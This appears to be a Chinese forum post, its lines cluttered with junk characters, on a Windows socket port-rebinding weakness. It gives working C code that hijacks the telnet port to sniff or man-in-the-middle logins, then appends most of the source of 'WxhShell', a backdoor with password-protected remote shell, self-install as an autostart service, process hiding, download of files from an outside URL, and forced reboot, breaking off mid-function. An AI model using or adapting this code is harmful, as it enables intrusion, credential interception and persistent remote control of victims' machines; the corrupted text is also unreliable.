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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: bZu'5+(@  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); g4?2'G5m?  
}lZEdF9GhG  
  saddr.sin_family = AF_INET; %|-N{>wKy  
|XyX%5p*  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); QPlU+5Cx  
X4;U4pU#  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); `4"8@>D  
W}(A8g#6  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ]S2rqKB  
8v$q+Wic  
  这意味着什么?意味着可以进行如下的攻击: E0Wc8m"  
T7[@ lMa?  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 O NabL.CV  
hx$]fvDevD  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) J)|3jbX"I]  
]H1mj#EWU  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 iOfm:DTPr  
mGT('iTM4  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  -#\T  
l+ }=D@l  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 !(d] f0  
7oZ :/6_>  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ETDWG_H |  
*xnZTj:  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 N[{rsUBd  
 Z-@nXt  
  #include &L6Ivpj-  
  #include ZFZ'&"+  
  #include K+3-XhG  
  #include    z "@^'{.l  
  DWORD WINAPI ClientThread(LPVOID lpParam);   4.9qB  
  int main() d4y#n=HnnV  
  { Mh%{cLM  
  WORD wVersionRequested; mWviWHK  
  DWORD ret; VG5+u,U6>  
  WSADATA wsaData; ;,{ _=n>  
  BOOL val; E$"NOR  
  SOCKADDR_IN saddr; @@Ib^sB%  
  SOCKADDR_IN scaddr; ?9 huuJ s7  
  int err; AR| 4^  
  SOCKET s; 91R# /i  
  SOCKET sc; YidcVlOsO  
  int caddsize; Wa;N(zw0h  
  HANDLE mt; vC]X>P5Px  
  DWORD tid;   *byUqY3(  
  wVersionRequested = MAKEWORD( 2, 2 ); i?T-6{3I  
  err = WSAStartup( wVersionRequested, &wsaData ); Q 3WD!Z8y  
  if ( err != 0 ) { cU;Bm}U  
  printf("error!WSAStartup failed!\n"); w2B)$u  
  return -1; wNa5qp 0  
  } =!TUf/O-  
  saddr.sin_family = AF_INET; L>Y+}]~  
   C[FHqo9M?H  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Ym'h vK  
8h] TI_  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); f&-`+V}U  
  saddr.sin_port = htons(23); f+e"`80$*C  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1W|jC   
  { d1~#@6CIz  
  printf("error!socket failed!\n"); .@H:P  
  return -1; pGie!2T E  
  } '54\!yQ<{  
  val = TRUE; /-M:6  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Dk  `&tr  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Ejk;(rxI  
  { /&gg].&2?  
  printf("error!setsockopt failed!\n"); ~WA@YjQ]  
  return -1; tZ]gVgZg  
  } rPk|2l,E,3  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; }Rh\JDiQ  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 z5@XFaQ  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 C'#KTp4!1  
0["93n}r  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 9#DXA}  
  { %A zy#m  
  ret=GetLastError(); Ip8ml0oG  
  printf("error!bind failed!\n"); ]J Yz(m[   
  return -1; }aWy#Oe  
  } Q[OwP  
  listen(s,2); {!Qu(%  
  while(1) ^4sfVpD2!  
  { fD!c t;UK  
  caddsize = sizeof(scaddr); M`Y^hDl6  
  //接受连接请求 Nj9A-*0g6N  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); FC0fe_U(F  
  if(sc!=INVALID_SOCKET) _c-3eQ1  
  { V.Hv6  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); )+ <w>pc  
  if(mt==NULL) l>6tEOXt  
  { #*h\U]=VS  
  printf("Thread Creat Failed!\n"); _=g&^_ #t  
  break; 9evr!=":  
  } /A9RmTb  
  } '/O:@P5qY  
  CloseHandle(mt); MCN>3/81  
  } ' ]k<' `b|  
  closesocket(s); FJvY`zqB  
  WSACleanup(); HXq']+iC  
  return 0; JM7mQ'`Ud  
  }   ?L<B]!9HZt  
  DWORD WINAPI ClientThread(LPVOID lpParam) ~& -h5=3  
  { 5RPG3ppS  
  SOCKET ss = (SOCKET)lpParam; B&cIx~+  
  SOCKET sc; 3=enk0$  
  unsigned char buf[4096]; ;!<}oZp{  
  SOCKADDR_IN saddr; OnTe_JML  
  long num; 5dj" UxH  
  DWORD val; ]\*^G@HA2  
  DWORD ret; 3d}v?q78  
  //如果是隐藏端口应用的话,可以在此处加一些判断 NQ{(G8x9  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   )oIh?-WL  
  saddr.sin_family = AF_INET; H07\z1?.K  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); #eW T-m  
  saddr.sin_port = htons(23); `n&:\Ib  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) zQ,rw[C"W  
  { R4p Pt  
  printf("error!socket failed!\n"); ]-gyXE1.r  
  return -1; z0[@O)Sj  
  } ggD T5hb  
  val = 100; bRvGetX  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @&\Y:aRO%i  
  { K<P d.:  
  ret = GetLastError(); QFP9"FM5F  
  return -1; bYsX?0T!p  
  } Y4k2=w:D  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) lDL&":t  
  { `2Pa{g- .  
  ret = GetLastError(); BqNsW (+  
  return -1; 6ll!7U(9(  
  } VWft/2p~  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 5/"$ _7"{a  
  { (p>|e\(]0  
  printf("error!socket connect failed!\n"); R XCn;nM4  
  closesocket(sc); Znb={hh  
  closesocket(ss); C]!2   
  return -1; 9q'&tU'a=c  
  } v#,queGi  
  while(1) k8D _  
  { K1@ Pt}  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 </[.1&S+\  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 S=4o@3%$  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 9xR5Jm>k  
  num = recv(ss,buf,4096,0); wQSan&81Q  
  if(num>0) <- \|>r Q  
  send(sc,buf,num,0); ;wwc;wQ'  
  else if(num==0) c!IZLaVAr9  
  break; A-!e$yz>  
  num = recv(sc,buf,4096,0); {s8c@-'  
  if(num>0) w;lpJ B\  
  send(ss,buf,num,0); /h>g-zb  
  else if(num==0) z:\9t[e4  
  break; p@jw)xI  
  } i.mv`u Dm  
  closesocket(ss); re*}a)iL  
  closesocket(sc); =Dn <DV  
  return 0 ; !Se0&Ob  
  } %#2$B+  
03~ ADj  
RqA>"[L  
========================================================== W %*#rcdq  
O,r;-t4vYU  
下边附上一个代码,,WXhSHELL p!pf2}6Fd  
R /=rNUe  
========================================================== Ll]5u~  
CXq[VYM&X  
#include "stdafx.h" 81Z;hO"~  
f"s_dR  
#include <stdio.h> \]> YLyG  
#include <string.h> ~e}JqJ(97  
#include <windows.h> P) vD?)Q  
#include <winsock2.h> FCt<h/  
#include <winsvc.h> DP{nvsF  
#include <urlmon.h> ` @QZK0Ox  
e?W ,D0h  
#pragma comment (lib, "Ws2_32.lib") M`Q$-#E:  
#pragma comment (lib, "urlmon.lib") 9tHK_),9  
D /QLp3+o  
#define MAX_USER   100 // 最大客户端连接数 AQ)gj$ m3  
#define BUF_SOCK   200 // sock buffer I Cc{2l  
#define KEY_BUFF   255 // 输入 buffer WZ-~F/:c%  
.I^4Fc}&4  
#define REBOOT     0   // 重启 19$A!kH\  
#define SHUTDOWN   1   // 关机 /S]$Hu|  
Ro<779.Gn\  
#define DEF_PORT   5000 // 监听端口 %5e|  
c!\Gj|  
#define REG_LEN     16   // 注册表键长度 *^-AOSVt,  
#define SVC_LEN     80   // NT服务名长度 SA<\n+>q^  
^+yz}YFM  
// 从dll定义API c5^HGIe1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $9G& wH>{  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); PMAz[w,R~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); UBwl2Di  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); f ./K/  
ZVXPp -M  
// wxhshell配置信息 e0(/(E:  
struct WSCFG { \HO)ss)"  
  int ws_port;         // 监听端口 GxhE5f;  
  char ws_passstr[REG_LEN]; // 口令 |u>V> PN  
  int ws_autoins;       // 安装标记, 1=yes 0=no v.]{b8RR  
  char ws_regname[REG_LEN]; // 注册表键名 $5XA S  
  char ws_svcname[REG_LEN]; // 服务名 ]W3_]N 3  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *q6XK_  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 'x%gJi#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =E2 a#Vd  
int ws_downexe;       // 下载执行标记, 1=yes 0=no FtTq*[a  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" E^)FnXe5  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 'iW  
vbmt0df  
}; iYr)Ao5X  
lrE"phYk  
// default Wxhshell configuration TdPd8ig8{  
struct WSCFG wscfg={DEF_PORT, RiTL(Yx  
    "xuhuanlingzhe", K$Bv4_|x  
    1, ]he~KO[j<  
    "Wxhshell", { { \oC$  
    "Wxhshell", $UzSPhv[  
            "WxhShell Service", EGl<oxL*R2  
    "Wrsky Windows CmdShell Service", A}lxJ5h0  
    "Please Input Your Password: ", % mQ&pk  
  1, as@8L|i*  
  "http://www.wrsky.com/wxhshell.exe", qxI $F  
  "Wxhshell.exe" Ae7FtJO  
    }; ^Q#_  
<,:{Q75  
// 消息定义模块 X(tx8~z  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; e(s0mbJE  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6_%Cd`4Z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; N[cIr{XBGN  
char *msg_ws_ext="\n\rExit."; +mrLMbBiD  
char *msg_ws_end="\n\rQuit."; J|I*n   
char *msg_ws_boot="\n\rReboot..."; K9@.l~n  
char *msg_ws_poff="\n\rShutdown..."; neU=1socJ  
char *msg_ws_down="\n\rSave to "; Y*BmBRN  
Jh.~]\u  
char *msg_ws_err="\n\rErr!"; uUjjAGZ  
char *msg_ws_ok="\n\rOK!"; J'2 Yrn  
|Y Lja87  
char ExeFile[MAX_PATH]; &MH8~LSb  
int nUser = 0; O\Huj=  
HANDLE handles[MAX_USER]; J=-z~\f56  
int OsIsNt; %1 )c{7  
dy+A$)gY<  
SERVICE_STATUS       serviceStatus; {]6-,/3UR  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; )Ra:s>  
eQi^d/yi  
// 函数声明 L]MWdD  
int Install(void); K^!#;,0  
int Uninstall(void); >T;!Z5L1  
int DownloadFile(char *sURL, SOCKET wsh); $T K*w8@:  
int Boot(int flag); *Hx*s_F  
void HideProc(void); L ,R}l0kc  
int GetOsVer(void); , >WH)+a  
int Wxhshell(SOCKET wsl); 8(Az/@=n  
void TalkWithClient(void *cs); ~ g!!#ad  
int CmdShell(SOCKET sock); p*PzfSLN  
int StartFromService(void); N~]qQ oj,  
int StartWxhshell(LPSTR lpCmdLine); YH58p&up  
%fF,Fnf2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); fuj9x;8X0  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); i1x4$}  
*w;?&)8%  
// 数据结构和表定义 S }`f&  
SERVICE_TABLE_ENTRY DispatchTable[] = 80Y% C-Y:  
{ -n 7 @r  
{wscfg.ws_svcname, NTServiceMain}, lq.:/_m0  
{NULL, NULL} fDDpR=  
}; B!mHO*g  
3PkZXeH/  
// 自我安装 fYuSfB+<  
int Install(void) 8Ze> hEG  
{ c(1tOQk.  
  char svExeFile[MAX_PATH]; 7KiraKb|  
  HKEY key; N/F_,>E  
  strcpy(svExeFile,ExeFile); _ uOi:Ti  
N?m)u,6-l  
// 如果是win9x系统,修改注册表设为自启动 9X*Z\-  
if(!OsIsNt) { kLzjK]4*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xp1/@Pw?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KGDN)@D  
  RegCloseKey(key); (LsVd2AbR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u)h {"pP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); SOG(&)b  
  RegCloseKey(key); GI{EP&C  
  return 0; %!iqJ)*~  
    } NUM!'+H_h  
  } 5$+7Q$Gw  
} 7Wef[N\x  
else { =ttD5 p  
Re~6 '  
// 如果是NT以上系统,安装为系统服务 dlvU=^G#G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); r3x;lICx-  
if (schSCManager!=0) ]+`K\G ^X  
{ TNh&g.  
  SC_HANDLE schService = CreateService V^tD@N  
  ( k-&<_ghT \  
  schSCManager, 0(d!w*RpG  
  wscfg.ws_svcname, )-X8RRw'  
  wscfg.ws_svcdisp, _886>^b@  
  SERVICE_ALL_ACCESS, RCfeIHL  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $MvKwQ/  
  SERVICE_AUTO_START, Z?S?O#FED  
  SERVICE_ERROR_NORMAL, }s?3   
  svExeFile, &p#PYs|H  
  NULL, .4ww5k>  
  NULL, ;e_us!Sn  
  NULL, ]4B;M Ym*  
  NULL, hfJ&o7Dt  
  NULL 9q0s  
  ); x]YzVJ=Y  
  if (schService!=0) a 7v^o`  
  { :o` <CO  
  CloseServiceHandle(schService); bX[ZVE(L  
  CloseServiceHandle(schSCManager); ;^s|n)F#c  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \x$`/  
  strcat(svExeFile,wscfg.ws_svcname); mK TF@DED  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;fV"5H)U\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); d. d J^M  
  RegCloseKey(key); vy2<'V*y}  
  return 0; \6GNKeN  
    } V %[t'uh  
  } fqbWD)L]  
  CloseServiceHandle(schSCManager); 0X99D2c  
} uB\UIz)e  
} w8 S pt  
,y"vf^BE.  
return 1; +EA ")T<l  
} LV9R ]  
[,st: Y  
// 自我卸载 IA}vN3  
int Uninstall(void) uN?Lz1W\;  
{ @rqmDpU  
  HKEY key; #Qg)4[pMJ  
hc$m1lLn  
if(!OsIsNt) { B}NJs,'FJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ga KZ4#  
  RegDeleteValue(key,wscfg.ws_regname); k"7ZA>5jk  
  RegCloseKey(key); CUTjRWQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M'|[:I.V  
  RegDeleteValue(key,wscfg.ws_regname); MZ0cZv$v!~  
  RegCloseKey(key); g#fn(A  
  return 0; 4T52vM  
  } QDJ#zMxFD  
} @fA| y  
} `B&E?x  
else {  [A,!3BN  
/qKor;x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); G \a`F'Oo  
if (schSCManager!=0) })8D3kzX)  
{ Qd~7OH4Lp  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [V /f{y~ {  
  if (schService!=0) )6"p@1\u  
  { BGVnL}0  
  if(DeleteService(schService)!=0) { GLub5GrxR  
  CloseServiceHandle(schService); 7H6Ge-u  
  CloseServiceHandle(schSCManager); <:(;#&<  
  return 0; d|87;;X|u  
  } }X])055S  
  CloseServiceHandle(schService); LIJ#nb  
  } !iHC++D  
  CloseServiceHandle(schSCManager); NG\'Ii:-J  
} e|SN b*_  
} b&,Z mDJh  
g~|vmVBua  
return 1; ~f[;(?39xZ  
} DdISJWc'`5  
TqS s*as5  
// 从指定url下载文件 xIc||o$  
int DownloadFile(char *sURL, SOCKET wsh) DHjfd+E=s  
{ }VWUcALJV  
  HRESULT hr; MowAM+?^}  
char seps[]= "/"; 7C Sn79E  
char *token; ,6^Xn=o #  
char *file; {]|<|vc;GI  
char myURL[MAX_PATH]; X%99@qv  
char myFILE[MAX_PATH]; "IpbR  
*E>R1bJ8  
strcpy(myURL,sURL); g>7i2  
  token=strtok(myURL,seps); "tO m  
  while(token!=NULL) 2>.b~q@  
  { mo tW7|p.e  
    file=token; ZLVgK@l  
  token=strtok(NULL,seps); "7fEL:|j  
  } sm?b,T/  
M4;M.zxJv  
GetCurrentDirectory(MAX_PATH,myFILE); vEG7A$Z"  
strcat(myFILE, "\\"); c9@3=6S/  
strcat(myFILE, file); }"RVUYU  
  send(wsh,myFILE,strlen(myFILE),0); 4a!%eBhX"K  
send(wsh,"...",3,0); SH"<f_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); um<$L  
  if(hr==S_OK) r.u\qPT&  
return 0; 2u0B=0x  
else q$H@W. f  
return 1; 2ZbSdaM=  
:%28*fl  
} jL)Y'  
5Uhxl^c  
// 系统电源模块 8.%wnH  
int Boot(int flag) V\n!?1{kdF  
{ uARkf'  
  HANDLE hToken; N*PJ m6-  
  TOKEN_PRIVILEGES tkp; 3,!IV"_  
247vU1  
  if(OsIsNt) { `6YN/"unfp  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]m &Ss  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #5^OO ou|  
    tkp.PrivilegeCount = 1; fQ.S ,lMe  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7N5M=f.DS(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2cS94h  
if(flag==REBOOT) { TZn5s~t  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2t0VbAO 1{  
  return 0; EKw)\T1  
} aWvC-vZk  
else { zLxuxf~4@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .;U?%t_7  
  return 0; cJSwA&  
} .R4,fCN  
  } TR `C|TV>  
  else { Zu~t )W  
if(flag==REBOOT) { 2h}FotlO  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "-5FUKI-  
  return 0; qauvwAMuX  
} lA6{TH.x  
else { 'UGgY3  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "9~KVILlLu  
  return 0; )-iUUak  
} 5,O:"3>c  
} ZOppec1D  
9qzHy}A  
return 1; A;^{%S  
} cdI"=B+C\  
z)eNM}cF  
// win9x进程隐藏模块 %3=T7j  
void HideProc(void) D4@(_6^  
{ Du-Q~I6  
_S* QIbO  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); hr&UD|E=  
  if ( hKernel != NULL ) "cOBEhn%l  
  { vZ6R>f  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); P $r!u%W  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); J!Rqm!)q  
    FreeLibrary(hKernel);   LR4W  
  } f*m^x7  
{ q&`B  
return; 6aAN8wO;b  
} $fPiR  
3EA_-?  
// 获取操作系统版本 %X\Rfn0J"  
int GetOsVer(void) A-^B ?E  
{ hsK(09:J  
  OSVERSIONINFO winfo; ZXbq5p_  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); b+dmJ]c  
  GetVersionEx(&winfo); HR  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?H{?jJj$H  
  return 1; O!F"w !5@  
  else 0N6 X;M{zh  
  return 0; SM<qb0  
} ;ae6h [  
ep l1xfr  
// 客户端句柄模块 O "Aeg|  
int Wxhshell(SOCKET wsl) -O@/S9]S)  
{ 6hFs{P7  
  SOCKET wsh; "`pg+t&  
  struct sockaddr_in client; OaByfo<S  
  DWORD myID; f8f|'v|  
O`~L*h_  
  while(nUser<MAX_USER) S!iDPl~  
{ # ?u bvSdU  
  int nSize=sizeof(client); ?]}=4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); D{+D.4\  
  if(wsh==INVALID_SOCKET) return 1; 1P BnGQYM  
((BdT:T\_  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); pC&i!la{o}  
if(handles[nUser]==0) 09iD| $~  
  closesocket(wsh); [eDRghK  
else g)<[-Q1  
  nUser++; Lk)TK/JM)  
  } 1"1ElH  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); TP`"x}ACa?  
K$$%j"s  
  return 0; S;{[];  
} PhmtCp0-7-  
/sSif0I24  
// 关闭 socket C+C1(b;1  
void CloseIt(SOCKET wsh) e.|t12)L "  
{ :yOJL [x  
closesocket(wsh); pQm-Hr78j  
nUser--; v1NFz>Hx  
ExitThread(0); BK.RYSN  
} (<|1/^~=  
q}&+{dN\1  
// 客户端请求句柄 You~ 6d6Om  
void TalkWithClient(void *cs) L[:M[,?=`  
{ .4=A:9  
DVBsRV)/  
  SOCKET wsh=(SOCKET)cs; N VDvd6  
  char pwd[SVC_LEN]; oTpoh]|[  
  char cmd[KEY_BUFF]; !U1V('   
char chr[1]; J=#9eW  
int i,j; 8ePzU c\#  
HDhG1B"NL  
  while (nUser < MAX_USER) { EOGz;:b&  
y8|}bd<Sr  
if(wscfg.ws_passstr) { iz`ys.Fu  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Lo9 \[4FP  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h*mKS -TC  
  //ZeroMemory(pwd,KEY_BUFF); z9zo5Xc=  
      i=0; lF$$~G  
  while(i<SVC_LEN) { tkdyR1-  
uF T5Z  
  // 设置超时 c+<gc:#jy  
  fd_set FdRead; (=s%>lW|  
  struct timeval TimeOut; &KeD{M%  
  FD_ZERO(&FdRead); ZD8E+]+  
  FD_SET(wsh,&FdRead); 7$:Jea  
  TimeOut.tv_sec=8; T%2%*oa  
  TimeOut.tv_usec=0; 2u} ns8wn  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^cojETOv  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /5:qS\Zl  
&([yI>%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \@j3/!=,n%  
  pwd=chr[0]; &$pA,Gjin\  
  if(chr[0]==0xd || chr[0]==0xa) { i]zTY\gw8M  
  pwd=0; uU8L93  
  break; ,j[1!*Z_[  
  } `$r?^|T  
  i++; ,Q8h#0z r  
    } /^ [K  
l37l| xp~  
  // 如果是非法用户,关闭 socket ,,V uvn  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  w"h'rw  
} m^a0JR}u9  
TfA;4 ^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &_Gu'A({J  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  #U/L8  
aDX4}`u  
while(1) { Qlhm:[  
Eqt>_n8  
  ZeroMemory(cmd,KEY_BUFF); i th!,jY*i  
1++Fs  
      // 自动支持客户端 telnet标准   atfK?VK#  
  j=0; \ id(P3M  
  while(j<KEY_BUFF) { ;:ocU?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $/P\@|MqYQ  
  cmd[j]=chr[0]; 8EZ,hY^  
  if(chr[0]==0xa || chr[0]==0xd) { 9CHn6 v ~)  
  cmd[j]=0; j!?bE3r~  
  break; g7]g0*gxXW  
  } !%G;t$U=M  
  j++;  ev(E  
    } /C[XC7^4'  
N|s8PIcSp  
  // 下载文件 x@<!#d+  
  if(strstr(cmd,"http://")) { l65Qk2<YC  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); uulzJbV,K  
  if(DownloadFile(cmd,wsh)) )Z@hk]@?_[  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); wRE2rsXoU  
  else 9B1bq#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [AAIBb +U  
  } @S  Quc  
  else { Y/34~lhyl  
} 71 9_DF  
    switch(cmd[0]) { #4?:4Im#  
  U{-[lpd  
  // 帮助 X\]Dx./  
  case '?': { qk\LfRbj  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ig:z[k?  
    break; \&%y4=y<sE  
  } v!rOT/I  
  // 安装 H?dEgubg7]  
  case 'i': { ' ui`EL%  
    if(Install()) &ETPYf%#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8'mm<BV;sT  
    else LfG$?<}hR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Kl+4A}Uo  
    break; d Y]i AJ  
    } b]5S9^=LI  
  // 卸载 '5SO3/{b  
  case 'r': { e#{l  
    if(Uninstall()) U\",!S~<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w'!J   
    else ju;Myi}a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ; WsV.n  
    break; f n\&%`U  
    } ~Uaz;<"j0  
  // 显示 wxhshell 所在路径 bR|1* <  
  case 'p': { <fcw:Ae  
    char svExeFile[MAX_PATH]; xT3l>9i  
    strcpy(svExeFile,"\n\r"); n(el  
      strcat(svExeFile,ExeFile); :Nw7!fd  
        send(wsh,svExeFile,strlen(svExeFile),0); \b|Q`)TK  
    break; |0a GX]Y  
    } .1?7)k v  
  // 重启 `v$Bib)  
  case 'b': { {c:ef@'U  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); h5m6 )0"  
    if(Boot(REBOOT)) 3ocRq %%K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u&ozc  
    else { 2HJGp+H  
    closesocket(wsh); "0l7%@z*)q  
    ExitThread(0); uB uwE6  
    } 9IG3zMf  
    break; ZlsdO.G  
    }  .)XJ-  
